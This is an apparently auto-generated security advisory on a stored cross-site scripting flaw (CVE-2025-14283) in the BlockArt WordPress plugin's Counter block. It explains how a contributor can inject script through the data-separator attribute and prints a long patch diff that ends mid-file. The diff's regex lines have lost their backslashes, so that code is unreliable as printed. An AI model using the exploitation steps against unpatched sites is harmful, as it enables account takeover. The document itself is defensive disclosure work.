Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14283: BlockArt Blocks – Gutenberg Blocks, Page Builder Blocks ,WordPress Block Plugin, Sections & Template Library <= 2.2.14 – Authenticated (Contributor+) Stored Cross-Site Scripting (blockart-blocks)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.2.14
Patched Version 2.2.15
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14283:
The BlockArt WordPress plugin contains an authenticated stored cross-site scripting (XSS) vulnerability in its Counter block component. This vulnerability affects versions up to and including 2.2.14, allowing attackers with contributor-level permissions or higher to inject malicious scripts that execute when users view affected pages. The CVSS score of 6.4 reflects the moderate impact of this client-side code execution vulnerability.

The root cause lies in insufficient input sanitization and output escaping for user-supplied attributes in the Counter block. The vulnerable code resides in the `Counter` class within `blockart-blocks/includes/BlockTypes/Counter.php`. Prior to patching, the `render()` method directly returned user-controlled content without proper validation. The plugin stored user-provided attributes like `data-separator`, `data-start`, `data-end`, `data-decimal`, and `data-animation` in the block’s HTML output without adequate sanitization.

Exploitation requires an authenticated attacker with at least contributor-level access to the WordPress dashboard. The attacker creates or edits a post containing a BlockArt Counter block. They inject malicious JavaScript payloads into the block’s attributes, particularly the `data-separator` attribute which accepts string values. When the post is saved and subsequently viewed by any user, the malicious script executes in the victim’s browser context. The attack vector operates through the standard WordPress block editor interface.

The patch introduces a comprehensive sanitization method called `sanitize_counter_attributes()` within the `Counter` class. This method processes the block’s HTML content before rendering. For the `data-separator` attribute, the patch decodes HTML entities, applies `sanitize_text_field()`, restricts characters to a whitelist (comma, space, period, hyphen, apostrophe), and finally escapes the value with `esc_attr()`. For numeric attributes (`data-start`, `data-end`, `data-decimal`, `data-animation`), the patch enforces integer validation using `absint()`. These changes ensure user input cannot break out of HTML attribute contexts.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of logged-in users viewing compromised posts. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. Since the vulnerability is stored, a single injection affects all users who view the compromised page, amplifying the attack’s impact.

Differential between vulnerable and patched code

Code Diff
--- a/blockart-blocks/blockart.php
+++ b/blockart-blocks/blockart.php
@@ -4,10 +4,10 @@
  * Description: Craft your website beautifully using Gutenberg blocks like section/column, heading, button, etc. Unlimited possibilities of design with features like colors, backgrounds, typography, layouts, spacing, etc.
  * Author: WPBlockArt
  * Author URI: https://wpblockart.com/
- * Version: 2.2.14
+ * Version: 2.2.15
  * Requires at least: 5.5
  * Requires PHP: 7.4
- * Text Domain: blockart
+ * Text Domain: blockart-blocks
  * Domain Path: /languages
  * License: GNU General Public License v3.0
  * License URI: http://www.gnu.org/licenses/gpl-3.0.html
@@ -19,7 +19,7 @@

 defined( 'ABSPATH' ) || exit;

-! defined( 'BLOCKART_VERSION' ) && define( 'BLOCKART_VERSION', '2.2.14' );
+! defined( 'BLOCKART_VERSION' ) && define( 'BLOCKART_VERSION', '2.2.15' );
 ! defined( 'BLOCKART_PLUGIN_FILE' ) && define( 'BLOCKART_PLUGIN_FILE', __FILE__ );
 ! defined( 'BLOCKART_PLUGIN_DIR' ) && define( 'BLOCKART_PLUGIN_DIR', dirname( BLOCKART_PLUGIN_FILE ) );
 ! defined( 'BLOCKART_PLUGIN_DIR_URL' ) && define( 'BLOCKART_PLUGIN_DIR_URL', plugin_dir_url( BLOCKART_PLUGIN_FILE ) );
--- a/blockart-blocks/dist/blocks-17.asset.php
+++ b/blockart-blocks/dist/blocks-17.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-url'), 'version' => 'a0344884212f9cdf643b');
--- a/blockart-blocks/dist/blocks.asset.php
+++ b/blockart-blocks/dist/blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-url'), 'version' => '57017828be0f09f50383');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-edit-post', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-url'), 'version' => 'c7e608a7b571e84c08fa');
--- a/blockart-blocks/dist/counter.asset.php
+++ b/blockart-blocks/dist/counter.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'dac39620695026d7e024');
+<?php return array('dependencies' => array(), 'version' => '06ae77973435d97b5c82');
--- a/blockart-blocks/dist/dashboard-17.asset.php
+++ b/blockart-blocks/dist/dashboard-17.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '79aaddebad6b232876ce');
--- a/blockart-blocks/dist/dashboard.asset.php
+++ b/blockart-blocks/dist/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => 'b382a6f52ab1ff0dd5bc');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => 'bab6be0a6b3084f3c2b9');
--- a/blockart-blocks/dist/lottie.asset.php
+++ b/blockart-blocks/dist/lottie.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'faf0a7cb567d910f88e8');
+<?php return array('dependencies' => array(), 'version' => '0f5761ce9e3ffbdc8082');
--- a/blockart-blocks/includes/Admin.php
+++ b/blockart-blocks/includes/Admin.php
@@ -47,8 +47,8 @@
 	 */
 	public function init_menus() {
 		$blockart_page = add_menu_page(
-			esc_html__( 'BlockArt', 'blockart' ),
-			esc_html__( 'BlockArt', 'blockart' ),
+			esc_html__( 'BlockArt', 'blockart-blocks' ),
+			esc_html__( 'BlockArt', 'blockart-blocks' ),
 			'manage_options',
 			'blockart',
 			array( $this, 'markup' ),
@@ -80,7 +80,7 @@
 		}

 		add_action( "admin_print_scripts-$blockart_page", array( $this, 'enqueue' ) );
-		remove_submenu_page( 'blockart', 'blockart' );
+		remove_submenu_page( 'blockart', 'blockart-blocks' );
 	}

 	/**
@@ -89,38 +89,38 @@
 	 * @return array
 	 */
 	private function get_submenus() {
-		$submenus = [
-			'dashboard'   => [
-				'page_title' => __( 'Dashboard', 'blockart' ),
-				'menu_title' => __( 'Dashboard', 'blockart' ),
+		$submenus = array(
+			'dashboard'   => array(
+				'page_title' => __( 'Dashboard', 'blockart-blocks' ),
+				'menu_title' => __( 'Dashboard', 'blockart-blocks' ),
 				'position'   => 10,
-			],
-			'blocks'      => [
-				'page_title' => __( 'Blocks', 'blockart' ),
-				'menu_title' => __( 'Blocks', 'blockart' ),
+			),
+			'blocks'      => array(
+				'page_title' => __( 'Blocks', 'blockart-blocks' ),
+				'menu_title' => __( 'Blocks', 'blockart-blocks' ),
 				'position'   => 20,
-			],
-			'products'    => [
-				'page_title' => __( 'Products', 'blockart' ),
-				'menu_title' => __( 'Products', 'blockart' ),
+			),
+			'products'    => array(
+				'page_title' => __( 'Products', 'blockart-blocks' ),
+				'menu_title' => __( 'Products', 'blockart-blocks' ),
 				'position'   => 30,
-			],
-			'settings'    => [
-				'page_title' => __( 'Settings', 'blockart' ),
-				'menu_title' => __( 'Settings', 'blockart' ),
+			),
+			'settings'    => array(
+				'page_title' => __( 'Settings', 'blockart-blocks' ),
+				'menu_title' => __( 'Settings', 'blockart-blocks' ),
 				'position'   => 40,
-			],
-			'free-vs-pro' => [
-				'page_title' => __( 'Free Vs Pro', 'magazine-blocks' ),
-				'menu_title' => __( 'Free Vs Pro', 'magazine-blocks' ),
+			),
+			'free-vs-pro' => array(
+				'page_title' => __( 'Free Vs Pro', 'blockart-blocks' ),
+				'menu_title' => __( 'Free Vs Pro', 'blockart-blocks' ),
 				'position'   => 45,
-			],
-			'help'        => [
-				'page_title' => __( 'Help', 'blockart' ),
-				'menu_title' => __( 'Help', 'blockart' ),
+			),
+			'help'        => array(
+				'page_title' => __( 'Help', 'blockart-blocks' ),
+				'menu_title' => __( 'Help', 'blockart-blocks' ),
 				'position'   => 50,
-			],
-		];
+			),
+		);

 		$submenus = apply_filters( 'blockart_admin_submenus', $submenus );
 		$submenus = array_map(
@@ -133,7 +133,7 @@
 						'parent_slug' => 'blockart',
 						'capability'  => 'manage_options',
 						'position'    => 1000,
-						'callback'    => [ $this, 'markup' ],
+						'callback'    => array( $this, 'markup' ),
 					)
 				);
 			},
@@ -173,7 +173,7 @@
 			return $text;
 		}

-		return __( 'Thank you for creating with BlockArt Blocks.', 'blockart' );
+		return __( 'Thank you for creating with BlockArt Blocks.', 'blockart-blocks' );
 	}

 	/**
@@ -184,7 +184,7 @@
 	 * @return string Version text.
 	 */
 	public function admin_footer_version( string $version ): string {
-		return 'toplevel_page_blockart' !== get_current_screen()->id ? $version : __( 'Version ', 'blockart' ) . BLOCKART_VERSION;
+		return 'toplevel_page_blockart' !== get_current_screen()->id ? $version : __( 'Version ', 'blockart-blocks' ) . BLOCKART_VERSION;
 	}

 	/**
@@ -206,7 +206,7 @@
 	public function hide_admin_notices() {

 		// Bail if we're not on a BlockArt screen or page.
-		if ( empty( $_REQUEST['page'] ) || false === strpos( sanitize_text_field( wp_unslash( $_REQUEST['page'] ) ), 'blockart' ) ) { // phpcs:ignore WordPress.Security.NonceVerification
+		if ( empty( $_REQUEST['page'] ) || false === strpos( sanitize_text_field( wp_unslash( $_REQUEST['page'] ) ), 'blockart-blocks' ) ) { // phpcs:ignore WordPress.Security.NonceVerification
 			return;
 		}

--- a/blockart-blocks/includes/BetaTester.php
+++ b/blockart-blocks/includes/BetaTester.php
@@ -1,121 +0,0 @@
-<?php
-/**
- * BetaTester class.
- *
- * @since 2.0.7.3
- * @package BlockArt
- */
-namespace BlockArt;
-
-defined( 'ABSPATH' ) || exit;
-
-use BlockArtTraitsSingleton;
-
-/**
- * BetaTester class
- */
-class BetaTester {
-
-	use Singleton;
-
-	/**
-	 * Hashed transient key.
-	 *
-	 * @var string
-	 */
-	protected $hashed_transient_key;
-
-	/**
-	 * Constructor.
-	 */
-	protected function __construct() {
-		if ( ! $this->is_beta_tester() ) {
-			return;
-		}
-		$this->set_hashed_transient_key();
-		$this->init_hooks();
-	}
-
-	/**
-	 * Init hooks.
-	 *
-	 * @return void
-	 */
-	protected function init_hooks() {
-		add_filter( 'pre_set_site_transient_update_plugins', array( $this, 'check_for_beta_version' ) );
-	}
-
-	/**
-	 * Is beta tester.
-	 *
-	 * @return boolean
-	 */
-	protected function is_beta_tester() {
-		return blockart_get_setting( 'version-control.beta-tester', false );
-	}
-
-	/**
-	 * Set hashed transient key.
-	 *
-	 * @return void
-	 */
-	protected function set_hashed_transient_key() {
-		$this->hashed_transient_key = md5( '_blockart_beta_tester' );
-	}
-
-	/**
-	 * Check for beta version.
-	 *
-	 * @param object $transient_data Plugins updates transient data.
-	 * @return object
-	 */
-	public function check_for_beta_version( $transient_data ) {
-		if ( empty( $transient_data->checked ) ) {
-			return $transient_data;
-		}
-
-		delete_site_transient( $this->hashed_transient_key );
-
-		$plugin_slug  = basename( BLOCKART_PLUGIN_FILE, '.php' );
-		$beta_version = $this->retrieve_beta_version();
-
-		if ( empty( $beta_version ) || version_compare( $beta_version, BLOCKART_VERSION, '<=' ) ) {
-			return $transient_data;
-		}
-
-		$transient_data->response[ plugin_basename( BLOCKART_PLUGIN_FILE ) ] = (object) array(
-			'plugin'      => $plugin_slug,
-			'slug'        => $plugin_slug,
-			'new_version' => $beta_version,
-			'url'         => 'https://wpblockart.com',
-			'package'     => sprintf( 'https://downloads.wordpress.org/plugin/blockart-blocks.%s.zip', $beta_version ),
-		);
-
-		return $transient_data;
-	}
-
-	/**
-	 * Retrieve beta version if available.
-	 *
-	 * @return string
-	 */
-	protected function retrieve_beta_version() {
-		$beta_version = get_site_transient( $this->hashed_transient_key );
-
-		if ( ! empty( $beta_version ) ) {
-			return $beta_version;
-		}
-
-		$response = wp_remote_get( 'https://plugins.svn.wordpress.org/blockart-blocks/trunk/readme.txt' );
-		$response = wp_remote_retrieve_body( $response );
-		if ( ! empty( $response ) ) {
-			preg_match( '/Beta tag: (.*)/i', $response, $matches );
-			if ( isset( $matches[1] ) ) {
-				$beta_version = $matches[1];
-			}
-			set_site_transient( $this->hashed_transient_key, $beta_version, 6 * HOUR_IN_SECONDS );
-		}
-
-		return $beta_version;
-	}
-}
 No newline at end of file
--- a/blockart-blocks/includes/BlockArt.php
+++ b/blockart-blocks/includes/BlockArt.php
@@ -40,7 +40,6 @@
 		Review::init();
 		Blocks::init();
 		ScriptStyle::init();
-		BetaTester::init();
 		MaintenanceMode::init();
 		$this->init_hooks();
 	}
@@ -77,7 +76,6 @@
 		 */
 		do_action( 'blockart_before_init' );
 		$this->update_plugin_version();
-		$this->load_text_domain();
 		/**
 		 * BlockArt init.
 		 *
@@ -101,13 +99,6 @@
 	}

 	/**
-	 * Load plugin text domain.
-	 */
-	private function load_text_domain() {
-		load_plugin_textdomain( 'blockart', false, plugin_basename( BLOCKART_PLUGIN_DIR ) . '/languages' );
-	}
-
-	/**
 	 * Add custom mimes as supported format in the uploader.
 	 *
 	 * @param array $mimes Supported mime types.
--- a/blockart-blocks/includes/BlockTypes/AbstractBlock.php
+++ b/blockart-blocks/includes/BlockTypes/AbstractBlock.php
@@ -66,7 +66,7 @@
 	 */
 	protected function register() {
 		if ( empty( $this->block_name ) ) {
-			_doing_it_wrong( __CLASS__, esc_html__( 'Block name is not set.', 'blockart' ), '2.0.7.3' );
+			_doing_it_wrong( __CLASS__, esc_html__( 'Block name is not set.', 'blockart-blocks' ), '2.0.7.3' );
 			return;
 		}

@@ -76,7 +76,7 @@
 			_doing_it_wrong(
 				__CLASS__,
 				/* Translators: 1: Block name */
-				esc_html( sprintf( __( 'Metadata file for %s block does not exist.', 'blockart' ), $this->block_name ) ),
+				esc_html( sprintf( __( 'Metadata file for %s block does not exist.', 'blockart-blocks' ), $this->block_name ) ),
 				'2.0.7.3'
 			);
 			return;
@@ -214,13 +214,13 @@
 	 * @return array
 	 */
 	protected function get_default_html_attrs() {
-		return [
+		return array(
 			'id'    => $this->get_attribute( 'cssID', '', true ),
 			'class' => $this->cn(
 				"blockart-$this->block_name blockart-$this->block_name-{$this->get_attribute('clientId', '', true)}",
 				$this->get_attribute( 'className', '' ),
 			),
-		];
+		);
 	}

 	/**
--- a/blockart-blocks/includes/BlockTypes/Counter.php
+++ b/blockart-blocks/includes/BlockTypes/Counter.php
@@ -10,7 +10,7 @@
 defined( 'ABSPATH' ) || exit;

 /**
- * Heading block.
+ * Counter block.
  */
 class Counter extends AbstractBlock {

@@ -20,4 +20,76 @@
 	 * @var string Block name.
 	 */
 	protected $block_name = 'counter';
+
+	/**
+	 * Render callback.
+	 */
+	public function render( $attributes, $content, $block ) {
+		$this->attributes = $attributes;
+		$this->block      = $block;
+		$this->content    = $content;
+
+		$content = $this->sanitize_counter_attributes( $content );
+
+		$content = apply_filters(
+			"blockart_{$this->block_name}_content",
+			$content,
+			$this
+		);
+
+		return $content;
+	}
+
+	/**
+	 * Sanitize counter data attributes to prevent XSS.
+	 *
+	 * @param string $content Raw HTML content.
+	 * @return string Sanitized HTML.
+	 */
+	private function sanitize_counter_attributes( $content ) {
+		if ( empty( $content ) || strpos( $content, 'blockart-counter' ) === false ) {
+			return $content;
+		}
+
+		// Sanitize data-separator attribute
+		$content = preg_replace_callback(
+			'/data-separator=(["'])([^"']*?)1/i',
+			function ( $matches ) {
+				$quote = $matches[1];
+				$value = $matches[2];
+
+				// Decode any HTML entities
+				$value = html_entity_decode( $value, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+
+				// Strip all HTML tags and dangerous characters
+				$value = sanitize_text_field( $value );
+
+				// Additional security: only allow safe separator characters
+				// Whitelist: comma, space, period, hyphen, apostrophe
+				$value = preg_replace( '/[^,.s-']/', '', $value );
+
+				// Escape for safe attribute output
+				$value = esc_attr( $value );
+
+				return 'data-separator=' . $quote . $value . $quote;
+			},
+			$content
+		);
+
+		$numeric_attrs = array( 'data-start', 'data-end', 'data-decimal', 'data-animation' );
+
+		foreach ( $numeric_attrs as $attr ) {
+			$content = preg_replace_callback(
+				'/' . preg_quote( $attr, '/' ) . '=(["'])([^"']*?)1/i',
+				function ( $matches ) use ( $attr ) {
+					$quote = $matches[1];
+					$value = absint( $matches[2] );
+					return $attr . '=' . $quote . $value . $quote;
+				},
+				$content
+			);
+		}
+
+		return $content;
+	}
 }
--- a/blockart-blocks/includes/BlockTypes/ImageGallery.php
+++ b/blockart-blocks/includes/BlockTypes/ImageGallery.php
@@ -33,7 +33,7 @@
 			return $content;
 		}
 		$layout_type = $this->get_attribute( 'layoutType', 'grid' );
-		$images      = $this->get_attribute( 'images', [] );
+		$images      = $this->get_attribute( 'images', array() );
 		if ( empty( $images ) ) {
 			return '';
 		}
@@ -54,9 +54,9 @@
 			'speed'         => $this->get_attribute( 'speed', 800 ),
 		);

-		$swiper_data_attr = [
+		$swiper_data_attr = array(
 			'data-swiper' => wp_json_encode(
-				[
+				array(
 					'slidesPerView' => $this->get_attribute( 'perPage', 1 ),
 					'loop'          => $this->get_attribute( 'loop', false ),
 					'navigation'    => $this->get_attribute( 'arrows', false ),
@@ -67,14 +67,14 @@
 					'imgWidth'      => $this->get_attribute( 'imgWidth' ),
 					'imgGap'        => $this->get_attribute( 'imgGap' ),
 					'interval'      => $this->get_attribute( 'interval', false ),
-				]
+				)
 			),
 			'class'       => $this->cn(
 				$layout_type ? "blockart-$layout_type" : '',
 				$columns && $layout_type ? "blockart-$layout_type-$columns" : '',
 				$on_click_image ? "blockart-$on_click_image" : '',
 			),
-		];
+		);
 		ob_start();
 		?>
 		<div <?php $this->build_html_attributes( true ); ?>>
@@ -121,22 +121,22 @@
 	}

 	protected function render_image_gallery( $is_carousel = false ) {
-		$images             = $this->get_attribute( 'images', [] );
+		$images             = $this->get_attribute( 'images', array() );
 		$enable_caption     = $this->get_attribute( 'enableCaption', false );
 		$caption_layout     = $this->get_attribute( 'captionLayout', 'overlay' );
 		$caption_visibility = $this->get_attribute( 'captionVisibility', 'show-on-hover' );
 		$caption_position   = $this->get_attribute( 'captionPosition', 'center-center' );
-		$caption_texts      = $this->get_attribute( 'captionText', [] );
+		$caption_texts      = $this->get_attribute( 'captionText', array() );
 		?>
 		<?php
 		foreach ( $images as $i => $image ) :
 			$caption_wrapper_class = $this->cn(
 				'blockart-caption-wrapper',
-				[
-					"blockart-$caption_layout"     => ! ! $caption_layout,
-					"blockart-$caption_visibility" => ! ! $caption_visibility,
-					"blockart-$caption_position"   => ! ! $caption_position,
-				]
+				array(
+					"blockart-$caption_layout"     => (bool) $caption_layout,
+					"blockart-$caption_visibility" => (bool) $caption_visibility,
+					"blockart-$caption_position"   => (bool) $caption_position,
+				)
 			);
 			?>
 			<?php $is_carousel && print( '<div class="swiper-slide">' ); ?>
@@ -145,7 +145,7 @@
 						<img src="<?php echo esc_url( $image['url'] ?? '' ); ?>" alt="<?php echo esc_url( $image['alt'] ?? '' ); ?>">
 						<?php if ( $enable_caption ) : ?>
 							<div class="<?php echo esc_attr( $caption_wrapper_class ); ?>">
-								<figcaption><?php echo esc_html( $caption_texts[ $i ] ?? __( 'No caption', 'blockart' ) ); ?></figcaption>
+								<figcaption><?php echo esc_html( $caption_texts[ $i ] ?? __( 'No caption', 'blockart-blocks' ) ); ?></figcaption>
 							</div>
 						<?php endif; ?>
 					</figure>
--- a/blockart-blocks/includes/BlockTypes/TableOfContents.php
+++ b/blockart-blocks/includes/BlockTypes/TableOfContents.php
@@ -27,7 +27,7 @@
 	 * @return array
 	 */
 	protected function get_default_html_attrs() {
-		return [
+		return array(
 			'id'             => $this->get_attribute( 'cssID' ),
 			'class'          => $this->cn(
 				"blockart-toc blockart-toc-{$this->get_attribute( 'clientId', '', true )}",
@@ -36,7 +36,7 @@
 			),
 			'data-collapsed' => $this->get_attribute( 'collapsible', false ) ? ( $this->get_attribute( 'initiallyCollapsed', false ) ? 'true' : 'false' ) : null,
 			'data-toc'       => "_blockart_toc_{$this->get_attribute('clientId', '')}",
-		];
+		);
 	}

 	/**
@@ -64,8 +64,8 @@
 							<?php
 							if ( 'svg' !== $this->get_attribute( 'iconType', '' ) ) {
 								?>
-								<span class="blockart-toc-open-icon"><?php esc_html_e( 'Hide', 'blockart' ); ?></span>
-								<span class="blockart-toc-close-icon"><?php esc_html_e( 'Show', 'blockart' ); ?></span>
+								<span class="blockart-toc-open-icon"><?php esc_html_e( 'Hide', 'blockart-blocks' ); ?></span>
+								<span class="blockart-toc-close-icon"><?php esc_html_e( 'Show', 'blockart-blocks' ); ?></span>
 								<?php
 							} else {
 								blockart_get_icon(
@@ -93,7 +93,7 @@
 				<?php if ( $headings ) : ?>
 					<?php $this->headings_list_html( $this->transform_single_level_headings_to_nested( $headings ) ); ?>
 				<?php else : ?>
-					<p><?php esc_html_e( 'Begin adding Headings to create a table of contents.', 'blockart' ); ?></p>
+					<p><?php esc_html_e( 'Begin adding Headings to create a table of contents.', 'blockart-blocks' ); ?></p>
 				<?php endif; ?>
 			</div>
 		</div>
--- a/blockart-blocks/includes/Blocks.php
+++ b/blockart-blocks/includes/Blocks.php
@@ -297,7 +297,7 @@
 			array(
 				array(
 					'slug'  => 'blockart',
-					'title' => esc_html__( 'BlockArt', 'blockart' ),
+					'title' => esc_html__( 'BlockArt', 'blockart-blocks' ),
 				),
 			),
 			$block_categories
--- a/blockart-blocks/includes/Helpers/array.php
+++ b/blockart-blocks/includes/Helpers/array.php
@@ -5,6 +5,9 @@
  * @package BlockArt
  */

+// Exit if accessed directly.
+defined( 'ABSPATH' ) || exit;
+
 /**
  * Determine whether the given value is array accessible.
  *
@@ -37,14 +40,14 @@
  * @return array
  */
 function blockart_array_collapse( $array_value ) {
-	$results = [];
+	$results = array();
 	foreach ( $array_value as $values ) {
 		if ( ! is_array( $values ) ) {
 			continue;
 		}
 		$results[] = $values;
 	}
-	return array_merge( [], ...$results );
+	return array_merge( array(), ...$results );
 }

 /**
@@ -54,9 +57,9 @@
  */
 function blockart_array_cross_join(): array {
 	$arrays  = func_get_args();
-	$results = [ [] ];
+	$results = array( array() );
 	foreach ( $arrays as $index => $array ) {
-		$append = [];
+		$append = array();
 		foreach ( $results as $result ) {
 			foreach ( $array as $item ) {
 				$result[ $index ] = $item;
@@ -76,7 +79,7 @@
  * @return array
  */
 function blockart_array_divide( array $array_value ) {
-	return [ array_keys( $array_value ), array_values( $array_value ) ];
+	return array( array_keys( $array_value ), array_values( $array_value ) );
 }

 /**
@@ -87,7 +90,7 @@
  * @return array
  */
 function blockart_array_dot( $array_value, $prepend = '' ) {
-	$results = [];
+	$results = array();
 	foreach ( $array_value as $key => $value ) {
 		if ( is_array( $value ) && ! empty( $value ) ) {
 			$results = array_merge( $results, blockart_array_dot( $value, $prepend . $key . '.' ) );
@@ -110,7 +113,7 @@
  * @return array The converted nested array
  */
 function blockart_array_undot( $array_value ) {
-	$results = [];
+	$results = array();
 	foreach ( $array_value as $key => $value ) {
 		blockart_array_set( $results, $key, $value );
 	}
@@ -191,7 +194,7 @@
  * @return array
  */
 function blockart_array_flatten( $array_value, $depth = INF ): array {
-	$result = [];
+	$result = array();
 	foreach ( $array_value as $item ) {
 		if ( ! is_array( $item ) ) {
 			$result[] = $item;
@@ -281,7 +284,7 @@
  */
 function blockart_array_has( $array_value, $keys ): bool {
 	$keys = (array) $keys;
-	if ( ! $array_value || [] === $keys ) {
+	if ( ! $array_value || array() === $keys ) {
 		return false;
 	}
 	foreach ( $keys as $key ) {
@@ -315,7 +318,7 @@
 	if ( ! $array_value ) {
 		return false;
 	}
-	if ( [] === $keys ) {
+	if ( array() === $keys ) {
 		return false;
 	}
 	foreach ( $keys as $key ) {
@@ -363,7 +366,7 @@
 	if ( func_num_args() === 2 ) {
 		array_unshift( $array_value, $value );
 	} else {
-		$array_value = [ $key => $value ] + $array_value;
+		$array_value = array( $key => $value ) + $array_value;
 	}
 	return $array_value;
 }
@@ -414,10 +417,10 @@
 		return $array_value[ array_rand( $array_value ) ];
 	}
 	if ( 0 === (int) $number ) {
-		return [];
+		return array();
 	}
 	$keys    = array_rand( $array_value, $number );
-	$results = [];
+	$results = array();
 	if ( $preserve_keys ) {
 		foreach ( (array) $keys as $key ) {
 			$results[ $key ] = $array_value[ $key ];
@@ -452,7 +455,7 @@
 		}
 		unset( $keys[ $i ] );
 		if ( ! isset( $array_value[ $key ] ) || ! is_array( $array_value[ $key ] ) ) {
-			$array_value[ $key ] = [];
+			$array_value[ $key ] = array();
 		}
 		$array_value = &$array_value[ $key ];
 	}
@@ -514,7 +517,7 @@
  */
 function blockart_array_to_css_classes( $array_value ) {
 	$class_list = blockart_array_wrap( $array_value );
-	$classes    = [];
+	$classes    = array();
 	foreach ( $class_list as $class => $constraint ) {
 		if ( is_numeric( $class ) ) {
 			$classes[] = $constraint;
@@ -544,9 +547,9 @@
  */
 function blockart_array_wrap( $value ): array {
 	if ( is_null( $value ) ) {
-		return [];
+		return array();
 	}
-	return is_array( $value ) ? $value : [ $value ];
+	return is_array( $value ) ? $value : array( $value );
 }

 /**
@@ -656,7 +659,7 @@
  * @return string
  */
 function blockart_array_to_html_attributes( $array_value ) {
-	$attributes = [];
+	$attributes = array();

 	foreach ( $array_value as $key => $value ) {
 		if ( is_null( $value ) ) {
--- a/blockart-blocks/includes/Helpers/core.php
+++ b/blockart-blocks/includes/Helpers/core.php
@@ -6,6 +6,9 @@
  * @package BlockArt
  */

+// Exit if accessed directly.
+defined( 'ABSPATH' ) || exit;
+
 /**
  * Get the direct filesystem object.
  *
@@ -268,8 +271,8 @@
  * @return array
  */
 function blockart_get_allowed_svg_elements() {
-	return [
-		'svg'     => [
+	return array(
+		'svg'     => array(
 			'class'           => true,
 			'xmlns'           => true,
 			'width'           => true,
@@ -283,34 +286,34 @@
 			'stroke-width'    => true,
 			'stroke-linecap'  => true,
 			'stroke-linejoin' => true,
-		],
-		'g'       => [ 'fill' => true ],
-		'title'   => [ 'title' => true ],
-		'path'    => [
+		),
+		'g'       => array( 'fill' => true ),
+		'title'   => array( 'title' => true ),
+		'path'    => array(
 			'fill'      => true,
 			'fill-rule' => true,
 			'd'         => true,
 			'transform' => true,
-		],
-		'circle'  => [
+		),
+		'circle'  => array(
 			'cx' => true,
 			'cy' => true,
 			'r'  => true,
-		],
-		'polygon' => [
+		),
+		'polygon' => array(
 			'fill'      => true,
 			'fill-rule' => true,
 			'points'    => true,
 			'transform' => true,
 			'focusable' => true,
-		],
-		'line'    => [
+		),
+		'line'    => array(
 			'x1' => true,
 			'y1' => true,
 			'x2' => true,
 			'y2' => true,
-		],
-	];
+		),
+	);
 }

 /**
@@ -350,7 +353,7 @@
 			if ( $echo_attributes ) {
 				echo ' ' . esc_attr( $key ) . '="' . call_user_func_array( $esc_func, [ $value ] ) . '"' . ( $length === $index + 1 ? ' ' : '' ); // phpcs:ignore -- see: L:348
 			} else {
-				$attrs .= ' ' . esc_attr( $key ) . '="' . call_user_func_array( $esc_func, [ $value ] ) . '"' . ( $length === $index + 1 ? ' ' : '' );
+				$attrs .= ' ' . esc_attr( $key ) . '="' . call_user_func_array( $esc_func, array( $value ) ) . '"' . ( $length === $index + 1 ? ' ' : '' );
 			}
 		}
 		++$index;
--- a/blockart-blocks/includes/RestApi/Controllers/ChangelogController.php
+++ b/blockart-blocks/includes/RestApi/Controllers/ChangelogController.php
@@ -86,7 +86,7 @@

 		$data = array_search( $request['version'], array_column( $changelog, 'version' ), true );
 		if ( false === $data ) {
-			return new WP_Error( 'changelog_not_found', esc_html__( 'Changelog not found.', 'blockart' ) );
+			return new WP_Error( 'changelog_not_found', esc_html__( 'Changelog not found.', 'blockart-blocks' ) );
 		}
 		$data = $changelog[ $data ];
 		return $this->prepare_item_for_response( $data, $request );
@@ -103,7 +103,7 @@
 		if ( ! current_user_can( 'manage_options' ) ) {
 			return new WP_Error(
 				'rest_forbidden',
-				esc_html__( 'You are not allowed to access this resource.', 'blockart' ),
+				esc_html__( 'You are not allowed to access this resource.', 'blockart-blocks' ),
 				array( 'status' => rest_authorization_required_code() )
 			);
 		}
@@ -139,17 +139,17 @@
 		$filesystem = blockart_get_filesystem();

 		if ( ! $filesystem ) {
-			return new WP_Error( 'filesystem_error', esc_html__( 'Could not access filesystem.', 'blockart' ) );
+			return new WP_Error( 'filesystem_error', esc_html__( 'Could not access filesystem.', 'blockart-blocks' ) );
 		}

 		if ( ! $filesystem->exists( $changelog_file ) ) {
-			return new WP_Error( 'changelog_not_found', esc_html__( 'Changelog not found.', 'blockart' ) );
+			return new WP_Error( 'changelog_not_found', esc_html__( 'Changelog not found.', 'blockart-blocks' ) );
 		}

 		$raw_changelog = $filesystem->get_contents( $changelog_file );

 		if ( ! $raw_changelog ) {
